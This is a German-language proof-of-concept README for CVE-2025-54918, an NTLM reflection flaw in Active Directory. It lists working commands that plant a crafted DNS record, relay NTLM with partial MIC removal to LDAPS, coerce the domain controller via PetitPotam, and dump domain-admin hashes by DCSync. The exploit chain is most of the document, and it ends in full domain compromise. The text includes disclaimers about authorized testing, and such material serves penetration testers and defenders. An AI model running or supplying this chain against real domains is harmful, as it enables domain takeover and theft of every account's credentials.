CVE-2025-54918 – Proof of Concept (PoC)

⚠️ Wichtiger Hinweis

WICHTIG:
Um CVE-2025-54918 zu testen, müssen Sie einen DNS-Eintrag in der Ziel-Active-Directory-Umgebung erstellen.
Konsultieren Sie stets den Kunden und holen Sie ausdrückliche Genehmigung ein, bevor Sie testen, da dies das DNS- und Authentifizierungsverhalten in Produktionsumgebungen beeinflussen kann.

Dieses Repository enthält einen technischen Proof of Concept, der zeigt, wie ein Domain-Benutzer mit niedrigen Privilegien durch Missbrauch von NTLM-Reflection in Kombination mit Authentifizierungs-Coercion zu Zugriff auf Domain-Admin-Ebene aufsteigen kann.

Hinweis: Die CVE ist selbst dann ausnutzbar, wenn Signing auf True gesetzt ist, was für einen Domain Controller die Standardeinstellung ist. Außerdem bezog sich der Fix für CVE-2025–54918 auf Windows 2025, und CVE-2025–33073 behob (unbeabsichtigt) das Problem für Windows 2022.

Eine ausführlichere technische Aufschlüsselung finden Sie auf meiner Medium-Seite: https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1

Umgebung

• Domain-Controller-IP: 192.168.140.150 (Signing ist True, was für einen Domain Controller die Standardeinstellung ist)
• Angreifer-IP: 192.168.140.135
• Domäne: nahya.local
• Benutzer: test Gültiger Domain-Benutzer (keine DCSync-Berechtigungen)

Werkzeuge

Klonen Sie die erforderlichen Repositorys:

git clone https://github.com/dirkjanm/krbrelayx.git
git clone https://github.com/decoder-it/impacket-partial-mic.git

Ausgangsvalidierung (Erwarteter Fehlschlag)

Überprüfen Sie, dass der Benutzer vor der Ausnutzung kein DCSync durchführen kann:

python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

Schritt 1: Bösartigen DNS-Eintrag hinzufügen

Erstellen Sie einen DNS-Eintrag mit dem NetBIOS-Namen + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, der auf die Angreifer-IP auflöst.

python3 dnstool.py -u 'nahya.local\USERNAME' -p 'PASSWORD' \
  dc.nahya.local -a add \
  -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
  -d '192.168.140.135' -dns-ip 192.168.140.150

Schritt 2: NTLM-Relay starten (Terminal 1)

Führen Sie ntlmrelayx mit teilweiser MIC-Entfernung und aktivierter LDAP-Eskalation aus:

python3 impacket-partial-mic/examples/ntlmrelayx.py --remove-mic-partial -smb2support -t ldaps://DC  --escalate-user USERNAME  --no-validate-privs

Schritt 3: Authentifizierung des Domain Controllers erzwingen (Terminal 2)

Zwingen Sie den Domain Controller mithilfe einer Coercion-Technik (PetitPotam) dazu, sich gegenüber dem vom Angreifer kontrollierten DNS-Eintrag zu authentifizieren:

nxc smb DC -u 'USERNAME' -p 'PASSWORD' -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Schritt 4: Ausnutzung verifizieren (DCSync)

Führen Sie secretsdump erneut aus, um die Privilegieneskalation zu bestätigen:

python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

✅ Erwartetes Ergebnis: Erfolgreiches DCSync und Abruf der Domain-Admin-Hashes

Ergebnis

Zu diesem Zeitpunkt hat der Angreifer:

• Die NTLM-Authentifizierung vom Domain Controller weitergeleitet (Signing True)
• Privilegien über LDAP eskaliert
• DCSync erreicht, was zu vollständiger Domänenkompromittierung führt

Lesen Sie den Medium-Artikel für eine ausführliche Erklärung der Schwachstelle und der Angriffskette.

🙏 Danksagungen

Diese Arbeit wäre nicht möglich gewesen ohne:

• Bryan De Houwer – Autor von CVE-2025-54918 https://www.linkedin.com/in/bryan-de-houwer/
• Andrea Pierini – Für seine hervorragende Forschung und Blogs auf decoder.cloud https://www.linkedin.com/in/andrea-pierini-aba9a37/
• Andrea Pierini – Für die impacket-partial-mic-Implementierung
  https://github.com/decoder-it/impacket-partial-mic

🔗 Referenzen

• Analyse der NTLM- & LDAP-Authentifizierungs-Bypass-Schwachstelle – CrowdStrike-Blog
  https://www.crowdstrike.com/en-us/blog/analyzing-ntlm-ldap-authentication-bypass-vulnerability/

• Microsoft Security Advisory – CVE-2025-54918 – MSRC-Updateanleitung
  https://msrc.microsoft.com/update-guide/advisory/CVE-2025-54918

Haftungsausschluss

Dieser Proof of Concept wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.

• Verwenden Sie diese Technik nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
• Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden.
• Befolgen Sie stets Responsible Disclosure und ethische Hacking-Praktiken.